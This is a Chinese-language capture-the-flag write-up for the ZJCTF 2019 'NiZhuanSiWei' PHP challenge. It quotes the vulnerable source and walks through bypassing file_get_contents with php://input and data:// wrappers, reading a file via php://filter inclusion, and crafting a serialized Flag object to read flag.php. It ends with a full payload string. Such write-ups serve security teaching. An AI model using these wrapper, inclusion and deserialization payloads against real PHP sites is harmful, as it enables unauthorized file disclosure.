[ZJCTF 2019]NiZhuanSiWei
题目:
打开环境得到:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码审计一波,可以发现要get传入3个参数
接着来到第一个if语句:
现在的想法就是要绕过
file_get_contents()
函数,这个是读文件的函数,可以通过php伪协议绕过,我先来说用php://input
来绕,在文章末尾我还会说下用data://text/plain
来绕过
来到第二个if,这里要绕过正则,直接大小写混用就行了
接着是include()
函数,可知是一个文件包含漏洞,直接用php://filter
绕过
直接实际操作一番:
可以看到,返回的结果没有出现Not now!
,证明已经绕过了正则,但绕正则其实对这道题用处不大,因为结合这串代码
else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
可知我们是要用文件包含来读取useless.php的内容,所以构造:
在返回的结果里出现了base64加密后的useless.php的内容,直接base64解密就好,得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这串代码的意思就是反序列化的内容,所以直接按照代码意思序列化就行:
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag;
print_r(serialize($a))
;?>
运行得到:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
将运行结果放在password处即可,可直接得到flag:
还有一种就是我开头说的用data://text/plain
来绕过file_get_contents()
,也可以得到flag:
payload:
data://text/plain,welcome+to+the+zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}